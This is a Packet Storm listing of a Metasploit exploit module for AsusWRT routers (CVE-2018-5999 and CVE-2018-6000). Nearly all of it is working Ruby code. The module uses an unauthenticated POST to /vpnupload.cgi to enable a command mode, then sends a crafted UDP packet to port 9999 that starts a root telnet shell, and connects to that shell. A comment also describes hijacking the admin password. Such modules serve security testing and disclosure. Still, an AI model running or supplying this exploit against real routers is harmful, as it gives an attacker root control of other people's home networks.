Lucene search

K
packetstormPedro RibeiroPACKETSTORM:146560
HistoryFeb 23, 2018 - 12:00 a.m.

AsusWRT LAN Unauthenticated Remote Code Execution

2018-02-2300:00:00
Pedro Ribeiro
packetstormsecurity.com
114

EPSS

0.254

Percentile

96.7%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',  
'Description' => %q{  
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to  
perform a POST in certain cases. This can be combined with another vulnerability in  
the VPN configuration upload routine that sets NVRAM configuration variables directly  
from the POST request to enable a special command mode.  
This command mode can then be abused by sending a UDP packet to infosvr, which is running  
on port UDP 9999 to directly execute commands as root.  
This exploit leverages that to start telnetd in a random port, and then connects to it.  
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.  
},  
'Author' =>  
[  
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],  
['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],  
['CVE', '2018-5999'],  
['CVE', '2018-6000']  
],  
'Targets' =>  
[  
[ 'AsusWRT < v3.0.0.4.384.10007',  
{  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find',  
},  
},  
}  
],  
],  
'Privileged' => true,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },  
'DisclosureDate' => 'Jan 22 2018',  
'DefaultTarget' => 0))  
register_options(  
[  
Opt::RPORT(9999)  
])  
  
register_advanced_options(  
[  
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])  
])  
end  
  
def exploit  
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD  
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!  
post_data = Rex::MIME::Message.new  
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")  
  
data = post_data.to_s  
  
res = send_request_cgi({  
'uri' => "/vpnupload.cgi",  
'method' => 'POST',  
'rport' => datastore['ASUSWRTPORT'],  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
if res and res.code == 200  
print_good("#{peer} - Successfully set the ateCommand_flag variable.")  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")  
end  
  
  
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.  
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are  
r = Random.new  
  
ibox_comm_pkt_hdr_ex =  
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC  
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15  
[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33  
r.bytes(4) + # Info, don't know what this is  
r.bytes(6) + # MAC address  
r.bytes(32) # Password  
  
telnet_port = rand((2**16)-1024)+1024  
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')  
pkt_syscmd =  
[cmd.length,0x00].pack('C*') + # cmd length  
cmd # our command  
  
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)  
  
connect_udp  
udp_sock.put(pkt_final) # we could process the response, but we don't care  
disconnect_udp  
  
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")  
sleep(10)  
  
begin  
ctx = { 'Msf' => framework, 'MsfExploit' => self }  
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })  
if not sock.nil?  
print_good("#{peer} - Success, shell incoming!")  
return handler(sock)  
end  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
sock.close if sock  
end  
  
print_bad("#{peer} - Well that didn't work... try again?")  
end  
end  
`